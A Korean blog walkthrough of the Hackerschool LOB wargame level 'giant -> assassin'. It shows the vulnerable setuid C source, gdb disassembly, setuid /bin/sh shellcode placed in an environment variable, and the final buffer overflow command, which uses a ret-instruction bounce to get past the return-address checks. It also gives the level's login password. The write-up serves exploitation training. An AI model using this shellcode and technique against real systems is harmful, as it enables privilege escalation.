해커스쿨 LOB LEVEL15 [giant -> assassin] 풀이
M4ndU
해커스쿨 LOB [giant -> assassin] 풀이입니다.
ID | giant
PW | one step closer
으로 로그인합니다.
\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.
$ bash2
그리고
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat [문제이름].c
를 이용해 소스코드를 확인합시다.
login: giant
Password:
[giant@localhost giant]$ bash2
[giant@localhost giant]$ ls -l
total 16
-rwsr-sr-x 1 assassin assassin 12222 Mar 30 2010 assassin
-rw-r--r-- 1 root root 587 Mar 30 2010 assassin.c
[giant@localhost giant]$ cat assassin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- assassin
- no stack, no RTL
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer+sfp hunter
memset(buffer, 0, 44);
}
no stack, no RTL 이고 sfp도 0으로 초기화 합니다.
ret가 하는 일이 pop eip, jmp eip인데
리턴 주소를 다시 ret명령어의 주소로 덮어준다면 main함수의 프롤로그가
leave
ret
ret
와 같아겠죠 그러면 pop eip가 한번 더 되면서, 기존 리턴주소가 있던 자리에서 다음 4바이트에 있는 주소로 eip가 조작될 수 있습니다.
그럼 페이로드를 구성해보면
dummy[44]+&ret+&shellcode
먼저 ret가 있는 주소를 구합니다.
[giant@localhost giant]$ gdb -q assassin
(gdb) disas main
Dump of assembler code for function main:
0x8048470 <main>: push %ebp
0x8048471 <main+1>: mov %esp,%ebp
(생략)
0x804851d <main+173>: leave
0x804851e <main+174>: ret
0x804851f <main+175>: nop
End of assembler dump.
0x0804851e이네요.
이제 쉘코드의 주소를 구합니다.
쉘코드는 환경변수를 이용하겠습니다.
[giant@localhost giant]$ mkdir tmp
[giant@localhost giant]$ cd tmp/
[giant@localhost tmp]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[giant@localhost tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[giant@localhost tmp]$ gcc getenv.c -o getenv
[giant@localhost tmp]$ ./getenv
ADDR -> 0xbffffe99
./assassin `python -c 'print "D"*44+"\x1e\x85\x04\x08"+"\x99\xfe\xff\xbf"'`
'System Hacking > LOB Redhat' 카테고리의 다른 글
해커스쿨 LOB LEVEL17 [zombie_assassin -> succubus] 풀이 (0) | 2018.02.14 |
---|---|
해커스쿨 LOB LEVEL16 [assassin -> zombie_assassin] 풀이 (0) | 2018.02.13 |
해커스쿨 LOB LEVEL14 [bugbear -> giant] 풀이 (0) | 2018.02.13 |
해커스쿨 LOB LEVEL13 [darkknight -> bugbear] 풀이 (0) | 2018.02.13 |
해커스쿨 LOB LEVEL12 [golem -> darkknight] 풀이 (0) | 2018.02.12 |